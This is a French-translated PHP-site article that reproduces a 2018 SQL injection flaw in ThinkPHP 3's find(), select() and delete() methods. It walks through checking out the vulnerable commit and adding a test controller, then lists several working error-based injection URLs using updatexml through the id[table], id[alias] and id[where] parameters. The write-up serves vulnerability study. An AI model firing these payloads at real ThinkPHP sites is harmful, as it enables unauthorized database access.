Maison  >  Article  >  cadre php  >  Y a-t-il une vulnérabilité dans thinkphp3 ?

Y a-t-il une vulnérabilité dans thinkphp3 ?

藏色散人
藏色散人original
2019-08-06 11:31:112610parcourir

Y a-t-il une vulnérabilité dans thinkphp3 ?

Y a-t-il une vulnérabilité dans thinkphp3 ?

thinkphp3 est vulnérable, mais le jeudi 23 août 2018 à 11h25, heure de Pékin, l'équipe tp a effectué une mise à jour de sécurité pour la série thinkphp 3 qui a arrêté la mise à jour après analyse, cette mise à jour. corrige plusieurs risques d'injection SQL causés par les méthodes select(), find() et delete() qui peuvent transmettre des données de type tableau.

Récurrence de vulnérabilité 0x01

Téléchargez le code source : git clone https://github.com/top-think/thinkphp.git

Utilisez la commande git checkout pour restaurer la version jusqu'au dernier commit : git checkout 109bf30254a38651c21837633d9293a4065c300b

Utilisez des outils intégrés tels que phpstudy pour créer thinkphp et modifiez le fichier de configuration Apache httpd-conf

DocumentRoot "" dans le répertoire où se trouve thinkphp.

Y a-t-il une vulnérabilité dans thinkphp3 ?

Redémarrez phpstudy, accédez à 127.0.0.1 et affichez le message de bienvenue de thinkphp, indiquant que thinkphp fonctionne normalement.

Y a-t-il une vulnérabilité dans thinkphp3 ?

Construire une base de données, la base de données est tptest, la table est utilisateur, il y a trois champs dans la table : id, nom d'utilisateur, pass

Y a-t-il une vulnérabilité dans thinkphp3 ?

Modifiez le fichier de configuration ApplicationCommonConfconfig.php et ajoutez les informations de configuration de la base de données. Après

Y a-t-il une vulnérabilité dans thinkphp3 ?

ajoutez le code suivant dans ApplicationHomeControllerIndexController.class.php :

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }

Pour les méthodes select() et find(), il existe de nombreux endroits où Remarque, ici Listez principalement trois tableaux, alias, où. Pour en savoir plus, veuillez suivre vous-même les différentes méthodes parseXXX de parseSql. L'inspection visuelle est réalisable, comme avoir, grouper, etc.

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

Y a-t-il une vulnérabilité dans thinkphp3 ?

La même chose est vraie pour la méthode delete(). Voici trois exemples approximatifs, table, alias et où. Mais lorsque vous utilisez table et alias, vous devez également. assurez-vous où Non vide (la raison détaillée sera discutée plus tard)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

Y a-t-il une vulnérabilité dans thinkphp3 ?

Grâce à la comparaison des commits sur github, nous pouvons savoir à peu près que cette mise à jour est principalement dans ThinkPHP/Library/ Think/Model Dans le fichier .class.php, les trois fonctions delete, find et select ont été modifiées.

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn